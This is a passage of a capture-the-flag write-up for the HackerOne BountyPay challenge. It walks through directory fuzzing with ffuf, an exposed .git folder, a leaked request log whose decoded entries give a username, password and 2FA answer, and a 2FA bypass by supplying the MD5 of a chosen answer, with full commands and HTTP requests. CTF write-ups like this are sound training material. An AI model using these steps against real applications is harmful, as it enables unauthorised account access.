II - Active Reconnaissance

Directory Enumeration

After the passive reconnaiscance I usually do some directory and file bruteforcing. My goto tool for this now is ffuf. FFuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go.

ffuf -w raft-large-directories.txt \
-o ffuf-directories-app.json \
-u https://app.bountypay.h1ctf.com/FUZZ/ \
-t 10 \
-replay-proxy http://127.0.0.1:8080

ffuf output:

________________________________________________

 :: Method           : GET
 :: URL              : https://app.bountypay.h1ctf.com/FUZZ/
 :: Output file      : ffuf-directories-app.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: ReplayProxy      : http://127.0.0.1:8080
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

images                  [Status: 403, Size: 178, Words: 5, Lines: 8]
js                      [Status: 403, Size: 178, Words: 5, Lines: 8]
css                     [Status: 403, Size: 178, Words: 5, Lines: 8]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1]
cgit                    [Status: 403, Size: 170, Words: 5, Lines: 7]
:: Progress: [62275/62275] :: Job [1/1] :: 80 req/sec :: Duration: [0:12:54] :: Errors: 3 ::

There is one entry that looks interesting cgit, which might indicate that we are in the presence of a misconfigured NGINX web server with a .git folder that is publicly available. Let's see if we can access the config file. This request was made inside Burp but I'll use HTTPie output for the writeup since it will make the report easier to read:

http get https://app.bountypay.h1ctf.com/.git/config
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 16:41:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/bounty-pay-code/request-logger.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

Bingo ! The config file gives us the URL of the repository.

Souce code analysis

https://github.com/bounty-pay-code/

The GitHub account has only one repository with one file and one commit. We can see that the PHP file is logging request data into a file named bp_web_trace.log.

logger.php
<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents(
  'bp_web_trace.log',
  date("U").':'.base64_encode(json_encode($data))."\n",
  FILE_APPEND
);

Let's see if the file is available on the server.

http get https://app.bountypay.h1ctf.com/bp_web_trace.log
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 16:46:48 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

We can easily decode the base64 encoded data, I'm either using Hackvertor inside of Burp or CyberChef for this kind of thing:

{
    "IP": "192.168.1.1",
    "METHOD": "GET",
    "PARAMS": {
        "GET": [],
        "POST": []
    },
    "URI": "/"
}
{
    "IP": "192.168.1.1",
    "METHOD": "POST",
    "PARAMS": {
        "GET": [],
        "POST": {
            "password": "V7h0inzX",
            "username": "brian.oliver"
        }
    },
    "URI": "/"
}
{
    "IP": "192.168.1.1",
    "METHOD": "POST",
    "PARAMS": {
        "GET": [],
        "POST": {
            "challenge_answer": "bD83Jk27dQ",
            "password": "V7h0inzX",
            "username": "brian.oliver"
        }
    },
    "URI": "/"
}
{
    "IP": "192.168.1.1",
    "METHOD": "GET",
    "PARAMS": {
        "GET": {
            "month": "04",
            "year": "2020"
        },
        "POST": []
    },
    "URI": "/statements"
}

The most interesting one is the third where we can see a username, password and 2FA challenge answer. If we try to login using the credentials found in the log file we get asked for a 10 characters password sent to the user's phone:

BountyPay - Login 2FA

The code found in the log file is invalid and bruteforcing the code is usually not the way to go in CTFs.

Bypassing 2FA

Let's analyze the request being sent when submitting the challlenge answer:

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 108
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.4079.0 Safari/537.36 autochrome/orange
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://app.bountypay.h1ctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

username=brian.oliver&password=V7h0inzX&challenge=8718040845a881ff0da135418b2811b2&challenge_answer=V7h0inzX

We can see that there is an extra parameter named challenge . The value appears to be an MD5 hash. The hash is different after each login request. After a bit of trial and error we can guess that the challenge should be an MD5 hash of the challenge_answer. When this is the case we can successfully login ! 🥳

http -f post https://app.bountypay.h1ctf.com \
username=brian.oliver \
password=V7h0inzX \
challenge=5828c689761cce705a1c84d9b1a1ed5e \
challenge_answer=bD83Jk27dQ
HTTP/1.1 302 Found
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 04 Jun 2020 16:51:11 GMT
Location: /
Server: nginx/1.14.0 (Ubuntu)
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Sat, 04-Jul-2020 16:51:11 GMT; Max-Age=2592000
Transfer-Encoding: chunked
BountyPay | Dashboard

We can note that the challenge parameter has been omitted in the log file, probably to make this step a little bit harder.

Last updated

Was this helpful?